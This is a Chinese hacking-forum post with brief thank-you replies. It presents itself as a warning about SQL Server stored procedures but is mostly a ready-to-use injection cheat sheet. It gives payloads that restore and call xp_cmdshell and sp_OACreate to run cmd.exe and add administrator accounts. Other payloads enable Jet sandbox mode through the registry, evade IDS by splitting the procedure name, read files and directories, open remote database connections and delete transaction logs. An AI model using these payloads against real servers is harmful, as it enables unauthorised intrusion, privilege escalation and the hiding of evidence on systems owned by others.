★我要吧★

 找回密码
 注册[Register]
搜索
qq空间相册密码查看为什么登陆后需要激活无法注册?

SQL存储过程带来的安全危险

[复制链接]
发表于 2008-3-14 18:49:08 | 显示全部楼层 |阅读模式
看过笔者文章的读者可能知道,笔者在渗透的时候最喜欢使用一些存储过程有些都是已知的,但是很多人并不常用,强大的SQL存储过程带来的安全危险是不能忽视的,这里我把笔者整理的一些常用的SQL语句以及存储过程共享出来,希望能引起注意。

    首先说一下如果我们手中有SA权限那么我们该怎么做呢? 很多朋友就会想到了执行DOS命令加一个管理员权限的用户 用SQL执行的语句就是

    exec master.dbo.xp_cmdshell ’net user xx xx/add’ 但是很多时候我们在使用工具的时候并不能成功的加用户,

    原因可能有以下几个:

    1.xp_cmdshell 被删除
    2.xp_cmdshell所使用的xplog70.dll被删除

    那么如果是第一中情况的话就很简单了,我们只需要恢复存储过程就可以了。恢复存储过程的语句如下:

    ★
    use master  
    exec sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’  
    exec sp_addextendedproc xp_dirtree,’xpstar.dll’  
    exec sp_addextendedproc xp_enumgroups,’xplog70.dll’  
    exec sp_addextendedproc xp_fixeddrives,’xpstar.dll’  
    exec sp_addextendedproc xp_loginconfig,’xplog70.dll’  
    exec sp_addextendedproc xp_enumerrorlogs,’xpstar.dll’  
    exec sp_addextendedproc xp_getfiledetails,’xpstar.dll’  
    exec sp_addextendedproc sp_OACreate,’odsole70.dll’  
    exec sp_addextendedproc sp_OADestroy,’odsole70.dll’  
    exec sp_addextendedproc sp_OAGetErrorInfo,’odsole70.dll’  
    exec sp_addextendedproc sp_OAGetProperty,’odsole70.dll’  
    exec sp_addextendedproc sp_OAMethod,’odsole70.dll’  
    exec sp_addextendedproc sp_OASetProperty,’odsole70.dll’  
    exec sp_addextendedproc sp_OAStop,’odsole70.dll’  
    exec sp_addextendedproc xp_regaddmultistring,’xpstar.dll’  
    exec sp_addextendedproc xp_regdeletekey,’xpstar.dll’  
    exec sp_addextendedproc xp_regdeletevalue,’xpstar.dll’  
    exec sp_addextendedproc xp_regenumvalues,’xpstar.dll’  
    exec sp_addextendedproc xp_regread,’xpstar.dll’  
    exec sp_addextendedproc xp_regremovemultistring,’xpstar.dll’  
    exec sp_addextendedproc xp_regwrite,’xpstar.dll’  
    ★

    以上语句就是恢复存储过程需要的语句了,我们只需要执行以上语句就可以成功恢复存储过程,继续执行我们想要的语句,另外我再告诉大家xp_cmdshell新的恢复办法。

    扩展储存过程被删除以后可以有很简单的办法恢复:
    删除
    drop procedure sp_addextendedproc
    drop procedure sp_oacreate
    exec sp_dropextendedproc ’xp_cmdshell’

    恢复
    dbcc addextendedproc ("sp_oacreate","odsole70.dll")
    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

    这样可以直接恢复,不用去管sp_addextendedproc是不是存在

    那么我们继续来解决第二个问题, 如果是DLL被删了该怎么办呢? 很多朋友说再传一个上去就好了,可是笔者还是感觉那样很麻烦可以执行系统命令的存储过程可还有一个,那就是SP_OAcreate ,语句是:
    ★
    DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD  
@shell,’run’,null, ’C:\WINdows\system32\cmd.exe /c net user iisloger hook /add’
    ★
    上面的语句就是添加一个用户名为iisloger密码为hook的用户。但是我们要注意了,使用 SP_OAcreate是需要wscript.shell来支持的。如果wscript.shell被删除的话就是不能执行成功了。  

    另外在SA权限的时候我们还有一种方法可以执行系统命令,那就是我们常说的沙盒模式
    代码如下:
    ★
    EXEC master.dbo.xp_regwrite ’HKEY_LOCAL_MACHINE’,’SoftWare\Microsoft\Jet\4.0    \Engine’,’SandBoxMode’,’REG_DWORD’,’0’
    意思是修改注册表 开启沙盒

    Select * From OpenRowSet(’Microsoft.Jet.OLEDB.4.0’,’;Database=c:\windows\system32\ias\ias.mdb’,’select shell("net user sadfish fish /add")’);
    利用沙盒模式来添加个管理员
    ★
    因为系统默认的注册表键值是不允许执行沙盒模式命令的,所以需要修改注册表。但是只有SA权限才有权利修改注册表,所以在以上两种方法都不可以用的时候就可以考虑沙盒模式
    至于DB权限我就不用多说了,列目录寻找WEB目录从而进行备份就可以拿到WEBSHELL了,进而再进行提权。

    下面我在列出一些笔者常用的语句给大家参考

    检测 xp_cmdshell (CMD命令)|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')

    检测 xp_regread (注册表读取功能)|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')

    检测 sp_makewebtask (备份功能)|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')

    检测 sp_addextendedproc|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')

    检测 xp_subdirs 读子目录|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')

    检测 xp_dirtree 读子目录|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')

    检测 SP_OAcreate (执行命令)|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')

    执行CMD命令 SP_OAcreate
    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add'

    sp_OACreate:
    运行CMD并显示回显的要求是Wscript.shell和Scripting.FileSystemObject可用   //要记住这点,如果服务器over了,wscript.shell那么这存储过程也没多大的用了在注入方面。

    建目录 SP_OAcreate|
    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111'

    创建一个虚拟目录E盘|
    ;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'

    设置虚拟目录为可读 e |
    ;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'

启动 server 服务|
    ;exec master..xp_servicecontrol 'start', 'server' 当然你也可以启动其它服务

    绕过IDS的检测的 xp_cmdshell|
    ;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'

    开启远程数据库1|
    ; select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )

    开启远程数据库2|
    ;select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'

    添加mssql和系统的帐户
    ;exec master.dbo.sp_addlogin username;--

    ;exec master.dbo.sp_password null,password,username;--

    ;exec master.dbo.sp_addsrvrolemember sysadmin username;--

    ;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

    ;exec master.dbo.xp_cmdshell 'net user username password /add';--

    ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

    遍历目录  /不一定用来遍历目录,你也可以把xp_cmdshell执行的结果,插入表中

    ;create table dirs(paths varchar(100), id int)  
    ;insert dirs exec master.dbo.xp_dirtree 'c:\'  
    ;and (select top 1 paths from dirs)>0
    ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

    遍历目录
    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
    ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
    ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
    ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
    ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

    删除日志:
    DUMP  TRANSACTION sdfsdfsdf WITH NO_LOG
发表于 2009-4-14 20:49:05 | 显示全部楼层
学习了
发表于 2009-4-18 18:27:02 | 显示全部楼层
学习ING
发表于 2009-5-11 01:07:47 | 显示全部楼层
不错的分享,谢谢楼主了
发表于 2009-5-12 12:33:14 | 显示全部楼层
学习了  谢楼主了  :loveliness:
发表于 2009-5-15 02:38:49 | 显示全部楼层
受教了!
发表于 2009-5-20 17:23:35 | 显示全部楼层
好东西,感谢楼主分享。。。
发表于 2009-5-21 14:24:33 | 显示全部楼层
上传些sql基础的吧!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

QQ|手机版|小黑屋|☆我要吧☆ ( 豫ICP备13016831号-1 )

GMT+8, 2024-5-16 03:34 , Processed in 0.068445 second(s), 22 queries .

Powered by abc369 X3.4

© 2001-2023 abc369.

快速回复 返回顶部 返回列表